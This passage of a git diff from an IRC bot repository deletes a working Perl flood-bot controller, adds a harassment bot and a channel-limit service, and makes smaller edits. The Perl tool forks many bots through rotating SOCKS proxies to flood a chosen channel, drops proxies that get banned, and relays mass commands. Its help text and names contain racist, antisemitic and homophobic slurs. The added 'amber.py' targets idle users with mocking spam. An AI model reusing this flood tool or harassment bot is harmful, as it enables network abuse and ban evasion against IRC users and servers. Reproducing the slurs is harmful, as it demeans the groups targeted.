arguments] :[arguments with spaces]\n". - "\n". - " Simply privmsg your command to the control channel, and the respective bots will follow.\n". - "\n". - " Examples:\n". - " <~supers> all join #gnaa gnaa\n". - " All bots will join #gnaa using the key 'gnaa'\n". - " <~supers> all privmsg #gnaa :LOL HY LOL HY\n". - " All bots will say \"LOL HY LOL HY\" in #gnaa\n". - " <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n". - " The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n". - " <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n". - " The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n". - " will part #gnaa with reason 'lol jews'\n". - "\n". - "\n". - " Enjoy. -- Jmax\n"; - exit 0; -} elsif ($ARGV[0] eq '--version') { - print "ASIAN $VERSION by Jmax, Rucas, abez. Based on code by mef.\n"; - exit 0; -} else { - error("please run using the --help argument") unless $ARGV[1]; - if ($ARGV[0] =~ /(.+):(\d+)/) { - $server = $1; - $port = $2; - } else { - $server = $ARGV[0]; - $port = 6667; - } - $channel = $ARGV[1]; - if ($ARGV[2]) { - $nickbase = $ARGV[2]; - } -} - -my @servers = resolve($server); -notice("Resolved $server as ".join(", ", @servers)); - -my %proxies = load_socks(); -my @proxylist = get_proxylist(%proxies); - -notice("Initiliazing (forking) bots"); -for ($forkcount = 0; $forkcount < $maxfork; $forkcount++) { # $forkcount must _not_ be local to here - sleep 1; # so we don't overload ourselves - if (!defined(my $pid = fork())) { # fork - error("couldn't fork: $!"); # die if fork fails - } elsif ($pid == 0) { # fork successful, in child, do stuff - while (%proxies) { - my $proxy_ip = $proxylist[int rand @proxylist]; - my $proxy_port = $proxies{$proxy_ip}; - spawn_bot($proxy_ip, $proxy_port, $servers[int rand @servers], $port) - or (delete $proxies{$proxy_ip} and @proxylist = get_proxylist(%proxies)); - sleep 10; # to prevent throttling by IRCd - } - exit 0; # kills child - } else { # this is the parent - } -} -sleep while ($dead_nigger_storage < $maxfork); -exit 666; - -sub load_socks { - my (%proxies, @proxylist, $socksn); - open SOCKSFILE, "<", "./socks.txt" or error("could not open socks proxies file socks.txt: $!"); - while () { - chomp; - my ($ip, $port) = /([^:]+):([^:]+)/; - $proxies{$ip} = $port; - $socksn++; - } - close(SOCKSFILE) or error("could not close socks proxies file socks.txt: $!"); - notice("acquired $socksn socks prox(y|ies)."); - return (%proxies); -} - -sub spawn_bot { # only return 0 if the proxy failed. Otherwise, return 1; - my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_; - my ($nick, $nicklen); - if ($nickbase) { - $nicklen = int(rand(4)) + 3; - $nick = $nickbase . random_num($nicklen); - } else { - $nicklen = int(rand(9)) + 3; - $nick = random_nick($nicklen); - } - my $identlen = int(rand(4)) + 3; - my $ident = lc(random_nick($identlen)); - my $realnamelen = int(rand(9)) + 7; - my $realname = random_nick($realnamelen); - my ($line, $sock, $altsock); - eval { - local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required - alarm 5; - $sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port); - alarm 0; - }; - if ($@) { - error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors - warning("TIMEOUT / CONNECTION REFUSED; SOCKS == SHIT; DELETING AND LOADING NEW;"); - return 0; - } - $sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port); - return 0 unless $sock; - print $sock "NICK $nick\r\n"; - outgoing($nick, "NICK $nick"); - print $sock "USER $ident * * :$realname\r\n"; - outgoing($nick, "USER $ident * * :$realname"); - while ($line = <$sock>) { - chomp $line; - next if $line =~ /372/; # ignore motd msgs - incoming($nick, $line); - last if $line =~ /376|422/; # end of motd or no motd - return 0 if $line =~ /BANNED/i; - return 0 if $line =~ /ERROR.*G.lined/i; - return 0 if $line =~ /ERROR.*K.lined/i; - return 1 if $line =~ /ERROR/i; - return 1 if $line =~ /432/; - return 1 if $line =~ /433/; - if ($line =~ /PING (.*)$/) { - print $sock "PONG $1\r\n"; - } - } - print $sock "JOIN $channel\r\n"; - outgoing($nick, "JOIN $channel"); - while ($line = <$sock>) { - chomp $line; - if ($line =~ /PING (.*)$/) { - print $sock "PONG $1\r\n"; - } elsif ($line =~ /PRIVMSG $channel :all (.*)$/i) { - my $cmd = $1; - if ($cmd =~ /nick (\S*)/i) { - $nick = $1; - } - incoming($nick, $line); - print $sock "$cmd\r\n"; - outgoing($nick, $cmd); - } elsif ($line =~ /PRIVMSG $channel :(?:\S*|\s*)$nick(?:\S*|\s*) (.*)$/i) { - my $cmd = $1; - if ($cmd =~ /nick (\S*)/i) { - $nick = $1; - } - incoming($nick, $line); - print $sock "$cmd\r\n"; - outgoing($nick, $cmd); - } else { - incoming($nick, $line); - } - } -} - -sub connect_to_socks_proxy { - # see http://socks.permeo.com/protocol/socks4.protocol - my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_; - my $sock = IO::Socket::INET->new( - PeerAddr => $socks_ip, - PeerPort => $socks_port, - Proto => 'tcp' - ); - return unless $sock; - $sock->autoflush(1); - print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x'); - my $received = ''; - while (read($sock, $received, 8) && (length($received) < 8)) {} - my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received); - return unless $cd; - if ($cd != 90) { - return; - } - return $sock; -} - -sub random_nick { - my $length = shift; - my $possible = '0123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ'; # NO PIPES. (lol, weird bug) - my @possible = split(//, $possible); - my $str = ''; - while (length($str) < $length) { - $str .= $possible[int rand @possible]; - } - return $str; -} - -sub random_num { - my $length = shift; - my $possible = '0123456789'; # NO PIPES. (lol, weird bug) - my @possible = split(//, $possible); - my $str = ''; - while (length($str) < $length) { - $str .= $possible[int rand @possible]; - } - return $str; -} - -sub resolve { - my $host = shift; - my (undef, undef, undef, undef, @servers) = gethostbyname($host); - unless (@servers) { - error("cannot resolve server $host: $?"); - return 0; - } - my @servers_ip; - foreach my $server (@servers) { - my ($a, $b, $c, $d) = unpack('C4', $server); - my $server_ip = "$a.$b.$c.$d"; - push (@servers_ip, $server_ip); - } - return @servers_ip; -} - -sub get_proxylist { - my $proxies = @_; - my @proxylist; - foreach my $key (keys %proxies) { - push(@proxylist, $key); - } - return @proxylist; -} - -sub notice { - my $notice = shift; - print ">>>> ". $notice ."\n"; - return; -} - -sub incoming { - my ($nick, $line, $server) = @_; - printf("IRCd >>>> %-12s ] %s\n", $nick, $line); - return; -} - -sub outgoing { - my ($nick, $line, $server) = @_; - printf("IRCd <<<< %-12s ] %s\n", $nick, $line); - return; -} - -sub warning { - my $warning = shift; - print "!!!! ". $warning ."\n"; - return; -} - -sub error { - my $error = shift; - print "!!!! ". $error ."\n"; - exit 0; -} diff --git a/irc/blackhole.py b/irc/blackhole.py deleted file mode 100644 index 858ad97..0000000 --- a/irc/blackhole.py +++ /dev/null @@ -1,208 +0,0 @@ -#!/usr/bin/env python -# Blackhole IRC Bot - Developed by acidvegas in Python - (https://acid.vegas/random) - -''' -WARNING: This script it entirely unfinished and should not be used for anything other than testing! - -This is an advanced master/honeypot(s) bot system designed to combat advanced flooding techniques on IRC -''' - -import random, ssl, socket, time, threading - -# Config -nickserv_password = None -operator_password = None -user_modes = None #BdZ - -class HoneyPot(threading.Thread): - def __init__(self): - self.nickname = random.choice(BlackHole.db['honeypot_nicks']) - self.sock = None - threading.Thread.__init__(self) - - def connect(self): - try: - self.sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) - self.sock.connect(('localhost', 6697)) - self.raw(f'USER {username} 0 * :{realname}') - self.raw('NICK ' + self.nickname) - except socket.error: - self.event_disconnect() - else: - self.listen() - - def event_disconnect(self): - self.sock.close() - time.sleep(15) - self.connect() - - def handle_events(self, data): - args = data.split() - if data.startswith('ERROR :Closing Link:'): - raise Exception('Connection has closed.') - elif args[0] == 'PING': - self.raw('PONG ' + args[1][1:]) - elif args[1] == '001': - for chan in channels: - self.raw('JOIN ' + chan) - time.sleep(1) - elif args[1] == '433': - self.nickname = random.choice(BlackHole.db['honeypot_nicks']) - self.raw('NICK ' + self.nickname) - elif args[1] == 'INVITE': - nick = args[0].split('!')[0][1:] - self.sendmsg('blackhole', '!' + nick) - elif args[1] == 'KICK' and len(args) >= 4: - chan = args[2] - kicked = args[3] - if chan in channels and kicked == self.nickname: - time.sleep(1) - self.raw('JOIN ' + chan) - elif args[1] == 'NOTICE': - nick = args[0].split('!')[0][1:] - self.sendmsg('blackhole', '!' + nick) - elif args[1] == 'PRIVMSG' and len(args) >= 3: - nick = args[0].split('!')[0][1:] - chan = args[2] - if chan == self.nickname or '\001' in data: - self.sendmsg('blackhole', '!' + nick) - - def listen(self): - while True: - try: - data = self.sock.recv(1024).decode('utf-8') - for line in (line for line in data.split('\r\n') if line): - if len(line.split()) >= 2: - self.handle_events(line) - except (UnicodeDecodeError,UnicodeEncodeError): - pass - except: - break - self.event_disconnect() - - def raw(self, msg): - self.sock.send(bytes(msg + '\r\n', 'utf-8')) - - def sendmsg(self, target, msg): - self.raw(f'PRIVMSG {target} :{msg}') - -class IRC(object): - def __init__(self): - self.db = {'ident':list(),'nick':list(),:'protect':list()} - self.sock = None - - def run(self): - with open('blackhole.pkl','rb') as db_file: - self.db = pickle.load(db_file) - self.connect() - - def connect(self): - try: - self.sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) - self.sock.connect(('localhost', 6697)) - self.raw(f'USER BL 0 * :ENTER THE VOID') - self.raw('NICK blackhole') - except socket.error: - self.event_disconnect() - else: - self.listen() - - def evemt_connect(self): - self.mode(nickname, '+' + user_modes) - self.identify(nickname, nickserv_password) - self.oper(username, operator_password) - - def event_disconnect(self): - self.sock.close() - time.sleep(15) - self.connect() - - def event_private(self, ident, nick, msg): - if ident == admin: - args = msg.split() - cmd = args[0][1:] - if msg[:1] == '.': - if cmd in self.db.keys(): - if len(args) == 1: - for item in self.db[cmd]: - self.sendmsg(nick, '\x0310' + item) - elif len(args) == 2: - option = args[1][1:] - change = args[1][:1] - if change == '+': - if option not in self.db[cmd]: - self.db[cmd].append(option) - self.sendmsg(nick, '\x033added') - elif change == '-': - if option in self.db[cmd]: - self.db[cmd].remove(option) - self.sendmsg(nick, '\x035removed') - elif ident not in self.db['protected_hosts']: - self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f') - - def handle_events(self, data): - args = data.split() - if data.startswith('ERROR :Closing Link:'): - raise Exception('Connection has closed.') - elif args[0] == 'PING': - self.raw('PONG ' + args[1][1:]) - elif args[1] == '001': - self.event_connect() - elif args[1] == 'INVITE' or args[1] == 'NOTICE': - nick = args[0].split('!')[0][1:] - host = args[0].split('@')[1] - self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f') - elif args[1] == 'KICK' and len(args) >= 4: - nick = args[0].split('!')[0][1:].lower() - host = args[0].split('@')[1] - chan = args[2] - kicked = args[3].lower() - if kicked == 'blackhole': - time.sleep(1) - self.raw('JOIN ' + chan) - else: - for item in self.db['nick']: - if kicked == item: - self.raw(f'KICK {chan} {nick} \x038,4 E N T E R T H E V O I D \x0f') - self.mode(chan, '+b *!*@' + host) - break - elif args[1] == 'PRIVMSG' and len(args) == 4: - ident = args[0].split('!')[1].lower() - host = args[0].split('@')[1] - nick = args[0].split('!')[0][1:].lower() - chan = args[2] - msg = ' '.join(args[3:])[1:].lower() - if '\001' in msg: - self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f') - elif chan == 'blackhole': - if ident in self.db['ident'] and msg.startswith('!'): - self.raw('KILL {msg[1:]} \x038,4 E N T E R T H E V O I D \x0f') - elif ident == admin: - self.event_private(ident, nick, msg) - else: - self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f') - elif host not in self.db['protect']: - for item in self.db['nick']: - if item in msg: - self.raw('KICK {chan} {nick} \x038,4 E N T E R T H E V O I D \x0f') - break - - def listen(self): - while True: - try: - data = self.sock.recv(1024).decode('utf-8') - for line in (line for line in data.split('\r\n') if line): - if len(line.split()) >= 2: - self.handle_events(line) - except (UnicodeDecodeError,UnicodeEncodeError): - pass - except: - break - self.event_disconnect() - - def raw(self, msg): - self.sock.send(bytes(msg + '\r\n', 'utf-8')) - -# Main -BlackHole = IRC() -BlackHole.run() diff --git a/irc/bots/amber.py b/irc/bots/amber.py new file mode 100644 index 0000000..488c348 --- /dev/null +++ b/irc/bots/amber.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python +# Amber Alert IRC Bot - Developed by acidvegas & blowfish in Python (https://acid.vegas/amber) +# amber.py + +import asyncio +import random +import ssl +import textwrap +import time + +import config + +class config: + server = 'irc.supernets.org' + channel = '#superbowl' + nickname = 'AMBERALERT' + ident = {'nickname':'AMBERALERT', 'username':'missing', 'realname':'IRC Amber Alert Bot', 'nickserv':None} + +def ascii(nick): + age = '{0!s}{1}'.format(random.randint(12,90), random.choice(['',' AND HALF'])) + height = '{0!s}\' {1!s}"'.format(random.randint(3,6), random.randint(1,12)) + weight = '{0!s}LBS'.format(random.randint(90,500)) # >200 = (FNO) + eyes = random.choice(['BLUE','BROWN','GREEN']) + return textwrap.dedent(f'''1,4 + 1,4 1,8^^^^^^1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 + 1,4 1,8<0,2 **** 1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 + 1,4 1,8<0,2*CFLC*1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 + 1,4 1,8<0,2 **** 1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 + 1,4 1,8VVVVVV1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 + 1,4 + 1,1 + 1,0 + 1,0 + 1,0 1,1 1,0   + 1,0 1,1 1,10 1,1 1,0  12NAME 1: {nick.ljust(16)} + 1,0 1,1 1,10 5,7,;',;',,5,10 1 1,1 1,0 + 1,0 1,1 1,10 5,7.;'. ( _5,10 1 1,1 1,0 12 AGE 1: {age.ljust(16)} + 1,0 1,1 1,10 5,7.1@5;;1 0O O 1,10 1,1 1,0 + 1,0 1,1 1,10 5,7.1 5; 1 > 1,10 1,1 1,0 12 HEIGHT1 : {height.ljust(16)} + 1,0 1,1 1,10 5,7;1 5 ;;;;5,10 1 1,1 1,0 + 1,0 1,1 1,10 1,7 1,1___1,10 1,6\ 1,10 1,1 1,0 12 WEIGHT1 : {weight.ljust(16)} + 1,0 1,1 1,7 1,10 1,6 1,7 1,10 1,1 1,0 + 1,0 1,1 1,7 1,10 1,7 1,10 1,1 1,0 12EYES  1 : {eyes.ljust(16)} + 1,0 1,1 1,0 + 1,0 + 1,0 Missing from #superbowl, SuperNETs since 2007 + 1,0 + 1,0 ANY INFORMATION REGARDING THE WHERE-ABOUTS OF + 1,0 THIS CHATTER SHOULD REPORT IT TO THE OFFICAL + 1,0 CENTER FOR LOST CHATTERS 14(CFLC)1 AS SOON AS OK. + 1,0 + 1,0 1-800-5MISSING1 missing@cflc.gov + 1,0 ''') + +def ssl_ctx(): + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + return ctx + +class IRC: + def __init__(self): + self.options = {'host':'irc.supernets.org','port':6697,'limit':1024,'ssl':ssl_ctx(),'family':2} + self.reader = None + self.writer = None + self.names = {'found':list(), 'idle':list()} + self.scanning = False + self.looping = False + + def _event_names(self, names): + if self.scanning: + for name in names: + if name[:1] in '~!@%&+:': + name = name[1:] + if name not in ('AMBERALERT','CANCER','ChanServ','DickServ','EliManning','FUCKYOU','scroll'): + self.names['found'].append(name) + + async def _event_end_of_names(self): + self.scanning = False + for name in self.names['found']: + self._raw('WHOIS ' + name) + await asyncio.sleep(2) + if self.names['idle']: + target = random.choice(self.names['idle']) + for line in ascii(target).split('\n'): + self._raw(f'PRIVMSG #superbowl :{line}') + self._raw(f'PRIVMSG {target} :{line}') + self.names = {'found':list(), 'idle':list()} + + async def _loop(self): + while self.looping: + if not self.scanning: + self.scanning = True + self._raw('NAMES #superbowl') + await asyncio.sleep(random.randint(43200,86400)) # 12H-1D + + def _raw(self, data): + self.writer.write(data[:510].encode('utf-8') + b'\r\n') + + async def _connect(self): + try: + self.reader, self.writer = await asyncio.open_connection(**self.options) + self._raw(f'USER missing 0 * :Amber Alert IRC Bot') + self._raw('NICK AMBERALERT') + except Exception as ex: + print(f'[!] - Failed to connect to IRC server! ({ex!s})') + else: + while not self.reader.at_eof(): + line = await self.reader.readline() + line = line.decode('utf-8').strip() + print('[~] - '+line) + args = line.split() + if args[0] == 'PING': + self._raw('PONG ' + args[1][1:]) + elif args[1] == '001': # RPL_WELCOME + self._raw('MODE AMBERALERT +BDd') + self._raw('PRIVMSG NickServ IDENTIFY AMBERALERT CHANGEME') + await asyncio.sleep(3) + self._raw('JOIN #superbowl') + elif args[1] == '353' and len(args) >= 6: # RPL_NAMREPLY + chan = args[4] + if chan == '#superbowl': + names = ' '.join(args[5:])[2:].split() + self._event_names(names) + elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES + chan = args[3] + if chan == '#superbowl': + if self.scanning: + asyncio.create_task(self._event_end_of_names()) + elif not self.looping: + self.looping = True + asyncio.create_task(self._loop()) + elif args[1] == '317' and len(args) >= 5: # RPL_WHOISIDLE + nick = args[3] + idle = args[4] + if int(idle) >= 604800: # 1W + self.names['idle'].append(nick) + +# Start +if __name__ == '__main__': + Bot = IRC() + asyncio.run(Bot._connect()) \ No newline at end of file diff --git a/irc/anythinggoes/anythinggoes.py b/irc/bots/anythinggoes/anythinggoes.py similarity index 97% rename from irc/anythinggoes/anythinggoes.py rename to irc/bots/anythinggoes/anythinggoes.py index 5a425b5..6d99d01 100644 --- a/irc/anythinggoes/anythinggoes.py +++ b/irc/bots/anythinggoes/anythinggoes.py @@ -4,7 +4,7 @@ import random,socket,ssl,threading,time # Config -admin_ident = 'ak!ak@super.nets' +admin_ident = 'acidvegas!*@*' channel = '#anythinggoes' nickserv_password = 'CHANGEME' operator_password = 'CHANGEME' @@ -166,16 +166,18 @@ class IRC(object): def connect(self): try: - self.sock=ssl.wrap_socket(socket.socket(socket.AF_INET,socket.SOCK_STREAM)) - self.sock.connect(('irc.supernets.org',6697)) + self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) + self.sock.connect(('irc.supernets.org',6667)) self.raw(f'USER THEG 0 * :YOU LOST THE GAME') self.raw('NICK THEGAME') while True: data = self.sock.recv(1024).decode('utf-8') + print(data) for line in (line for line in data.split('\r\n') if len(line.split()) >= 2): print(f'{get_time()} | [~] - {line}') args = line.split() - if args[0]=='PING':self.raw('PONG '+args[1][1:]) + if args[0]=='PING': + self.raw('PONG '+args[1][1:]) elif args[1]=='001': self.raw('MODE THEGAME +BDd') self.sendmsg('NickServ','IDENTIFY THEGAME '+nickserv_password) @@ -195,7 +197,9 @@ class IRC(object): if chan==channel:self.event_message(ident,nick,chan,msg) elif args[1]=='QUIT':Functions.grave(args[0].split('!')[0][1:]) except(UnicodeDecodeError,UnicodeEncodeError):pass - except:self.sock.close() + except Exception as ex: + print(ex) + self.sock.close() time.sleep(15) self.connect() @@ -210,7 +214,7 @@ class IRC(object): elif msg=='refresh': self.nicks=list() self.raw('NAMES #anythinggoes') - elif msg=='!wormnet' and not self.wormnet and ident==admin_ident:WORMS.start() + elif msg=='!wormnet':WORMS.start() elif msg=='!worms': for line in worms_data:self.sendmsg(channel, line) elif len(args)==2: diff --git a/irc/anythinggoes/data/banana.txt b/irc/bots/anythinggoes/data/banana.txt similarity index 100% rename from irc/anythinggoes/data/banana.txt rename to irc/bots/anythinggoes/data/banana.txt diff --git a/irc/anythinggoes/data/crab.txt b/irc/bots/anythinggoes/data/crab.txt similarity index 100% rename from irc/anythinggoes/data/crab.txt rename to irc/bots/anythinggoes/data/crab.txt diff --git a/irc/anythinggoes/data/crate.txt b/irc/bots/anythinggoes/data/crate.txt similarity index 100% rename from irc/anythinggoes/data/crate.txt rename to irc/bots/anythinggoes/data/crate.txt diff --git a/irc/anythinggoes/data/worms.txt b/irc/bots/anythinggoes/data/worms.txt similarity index 100% rename from irc/anythinggoes/data/worms.txt rename to irc/bots/anythinggoes/data/worms.txt diff --git a/irc/cancer.py b/irc/bots/cancer.py similarity index 99% rename from irc/cancer.py rename to irc/bots/cancer.py index 41a7d94..4ce5e90 100644 --- a/irc/cancer.py +++ b/irc/bots/cancer.py @@ -132,8 +132,7 @@ class IRC(object): self.listen() def create_socket(self): - family = socket.AF_INET6 if use_ipv6 else socket.AF_INET - self.sock = socket.socket(family, socket.SOCK_STREAM) + self.sock = socket.socket(socket.AF_INET6) if use_ipv6 else socket.socket() if vhost: self.sock.bind((vhost, 0)) if use_ssl: diff --git a/irc/bots/ircs b/irc/bots/ircs new file mode 160000 index 0000000..a2d36f8 --- /dev/null +++ b/irc/bots/ircs @@ -0,0 +1 @@ +Subproject commit a2d36f86df617efad0dcace56862f0a8c147d3da diff --git a/irc/bots/limitserv.py b/irc/bots/limitserv.py new file mode 100644 index 0000000..6c7bd7f --- /dev/null +++ b/irc/bots/limitserv.py @@ -0,0 +1,264 @@ +#!/usr/bin/env python +# LimitServ IRC Service Bot - Developed by acidvegas in Python (https://acid.vegas/random) + +import socket +import threading +import time + +# Configuration +_connection = {'server':'irc.server.com', 'port':6697, 'ssl':True, 'ssl_verify':False, 'ipv6':False, 'vhost':None} +_cert = {'file':None, 'key':None, 'password':None} +_ident = {'nickname':'LimitServ', 'username':'services', 'realname':'Channel Limit Service'} +_login = {'nickserv':None, 'network':None, 'operator':None} +_throttle = {'limit':300, 'queue':0.5, 'voice':10} +_settings = {'anope':False, 'honeypot':'#blackhole', 'limit':10, 'modes':None} + +def debug(msg): + print(f'{get_time()} | [~] - {msg}') + +def error(msg, reason): + print(f'{get_time()} | [!] - {msg} ({reason})') + +def get_time(): + return time.strftime('%I:%M:%S') + +class IRC(object): + def __init__(self): + self._channels = list() + self._names = list() + self._queue = list() + self._voices = dict() + self._sock = None + + def _run(self): + Loop._loops() + self._connect() + + def _connect(self): + try: + self._create_socket() + self._sock.connect((_connection['server'], _connection['port'])) + self._register() + except socket.error as ex: + error('Failed to connect to IRC server.', ex) + Event._disconnect() + else: + self._listen() + + def _create_socket(self): + self._sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) if _connection['ipv6'] else socket.socket(socket.AF_INET, socket.SOCK_STREAM) + if _connection['vhost']: + self._sock.bind((_connection['vhost'], 0)) + if _connection['ssl']: + ctx = ssl.SSLContext() + if _cert['file']: + ctx.load_cert_chain(_cert['file'], _cert['key'], _cert['password']) + if _connection['ssl_verify']: + ctx.verify_mode = ssl.CERT_REQUIRED + ctx.load_default_certs() + else: + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + self._sock = ctx.wrap_socket(self._sock) + + def _listen(self): + while True: + try: + data = self._sock.recv(1024).decode('utf-8') + for line in (line for line in data.split('\r\n') if len(line.split()) >= 2): + debug(line) + Event._handle(line) + except (UnicodeDecodeError,UnicodeEncodeError): + pass + except Exception as ex: + error('Unexpected error occured.', ex) + break + Event._disconnect() + + def _register(self): + if _login['network']: + Bot._queue.append('PASS ' + _login['network']) + Bot._queue.append('USER {0} 0 * :{1}'.format(_ident['username'], _ident['realname'])) + Bot._queue.append('NICK ' + _ident['nickname']) + +class Command: + def _join(chan, key=None): + Bot._queue.append('JOIN {chan} {key}') if key else Bot._queue.append('JOIN ' + chan) + + def _kick(chan, nick, msg=None): + Bot._queue.append(f'KICK {chan} {nick} {msg}') if msg else Bot._queue.append(f'KICK {chan} {nick}') + + def _mode(target, mode): + Bot._queue.append(f'MODE {target} {mode}') + + def _raw(msg): + Bot._sock.send(bytes(msg[:510] + '\r\n', 'utf-8')) + + def _sendmsg(target, msg): + Bot._queue.append(f'PRIVMSG {target} :{msg}') + +class Event: + def _connect(): + if _settings['modes']: + Command._mode(_ident['nickname'], '+' + _settings['modes']) + if _login['nickserv']: + Command._sendmsg('NickServ', 'IDENTIFY {0} {1}'.format(_ident['nickname'], _login['nickserv'])) + if _login['operator']: + Bot._queue.append('OPER {0} {1}'.format(_ident['username'], _login['operator'])) + + def _disconnect(): + Bot._sock.close() + Bot._names = list() + Bot._queue = list() + Bot._voices = dict() + time.sleep(15) + Bot.connect() + + def _end_of_names(chan): + limit = str(len(Bot._names) + _settings['limit']) + if settings['anope']: + Command._sendmsg('ChanServ', 'MODE {0} LOCK ADD +lL {1} {2}'.format(chan, limit, _settings['honeypot'])) + else: + Command._mode(chan, '+lL {0} {1}'.format(limit, _settings['honeypot'])) + Bot._names = list() + + def _join(nick, chan): + if nick == _ident['nickname'].lower(): + if chan not in Bot._channels: + Bot._channels.append(chan) + if chan not in Bot._voices: + Bot._voices[chan] = dict() + elif chan in Bot._channels: + if nick not in Bot._voices[chan]: + Bot._voices[chan][nick] = time.time() + + def _kick(nick, chan, kicked): + if nick == _ident['nickname'].lower(): + Bot._channels.remove(chan) + del Bot._voices[chan] + time.sleep(3) + Command._join(chan) + elif chan in Bot._channels: + if nick in Bot._voices[chan]: + del Bot._voices[chan][nick] + + def _names(chan, nicks): + for name in nicks: + if name[:1] in '~!@%&+': + name = name[1:] + Bot._names.append(name) + + def _nick(nick, new_nick): + for chan in Bot._voices: + if nick in Bot._voices[chan]: + Bot._voices[chan][new_nick] = Bot._voices[chan][nick] + del Bot._voices[chan][nick] + + def _no_such_nick(nick): + for chan in Bot._voices: + if nick in Bot._voices[chan]: + del Bot.voices[chan][nick] + + def _part(nick, chan): + if nick == _ident['nickname'].lower(): + Bot._channels.remove(chan) + del Bot._voices[chan] + elif chan in Bot._channels: + if nick in Bot._voices[chan]: + del Bot._voices[chan][nick] + + def _quit(nick): + for chan in Bot._voices: + if nick in Bot._voices[chan]: + del Bot._voices[chan][nick] + + def _handle(data): + args = data.split() + if data.startswith('ERROR :Closing Link:'): + raise Exception('Connection has closed.') + elif data.startswith('ERROR :Reconnecting too fast, throttled.'): + raise Exception('Connection has closed. (throttled)') + elif args[0] == 'PING': + Command._raw('PONG ' + args[1][1:]) + elif args[1] == '001': # RPL_WELCOME + Event._connect() + elif args[1] == '401': # ERR_NOSUCHNICK + nick = args[3].lower() + Event._no_such_nick(nick) + elif args[1] == '433': # ERR_NICKNAMEINUSE + raise Exception('Bot is already running or nick is in use.') + elif args[1] == '353' and len(args) >= 6: #RPL_NAMREPLY + chan = args[4].lower() + names = ' '.join(args[5:]).lower()[1:].split() + Event._names(chan, names) + elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES + chan = args[3].lower() + Event._end_of_names(chan) + elif args[1] == 'JOIN' and len(args) == 3: + nick = args[0].split('!')[0][1:].lower() + chan = args[2][1:].lower() + Event._join(nick, chan) + elif args[1] == 'KICK' and len(args) >= 4: + nick = args[0].split('!')[0][1:].lower() + chan = args[2].lower() + kicked = args[3].lower() + Event._kick(nick, chan, kicked) + elif args[1] == 'NICK' and len(args) == 3: + nick = args[0].split('!')[0][1:].lower() + new_nick = args[2][1:].lower() + Event._nick(nick, new_nick) + elif args[1] == 'PART' and len(args) >= 3: + nick = args[0].split('!')[0][1:].lower() + chan = args[2].lower() + Event._part(nick, chan) + elif args[1] == 'QUIT': + nick = args[0].split('!')[0][1:].lower() + Event._quit(nick) + +class Loop: + def _loops(): + threading.Thread(target=Loop._queue).start() # start first to handle incoming data + threading.Thread(target=Loop._limit).start() + threading.Thread(target=Loop._voice).start() + + def _limit(): + while True: + try: + for chan in Bot._channels: + Bot._queue.append('NAMES ' + chan) + except Exception as ex: + error('Error occured in the loop!', ex) + finally: + time.sleep(_throttle['limit']) + + def _queue(): + while True: + try: + if Bot._queue: + Command._raw(Bot._queue.pop(0)) + except Exception as ex: + error('Error occured in the queue loop!', ex) + finally: + time.sleep(_throttle['queue']) + + def _voice(): + while True: + try: + for chan in Bot._voices: + nicks = [nick for nick in Bot._voices[chan] if time.time() - Bot._voices[chan][nick] > _throttle['voice']] + for item in [nicks[i:i + 4] for i in range(0, len(nicks), 4)]: + Command._mode(chan, '+{0} {1}'.format('v'*len(item), ' '.join(item))) + for subitem in item: + del Bot._voices[chan][subitem] + except Exception as ex: + error('Error occured in the voice loop!', ex) + finally: + time.sleep(1) + +# Main +if _connection['ssl']: + import ssl +else: + del cert, _connection['verify'] +Bot = IRC() +Bot._run() diff --git a/irc/hueg-hexchat.pl b/irc/hueg-hexchat.pl new file mode 100644 index 0000000..e0d8c76 --- /dev/null +++ b/irc/hueg-hexchat.pl @@ -0,0 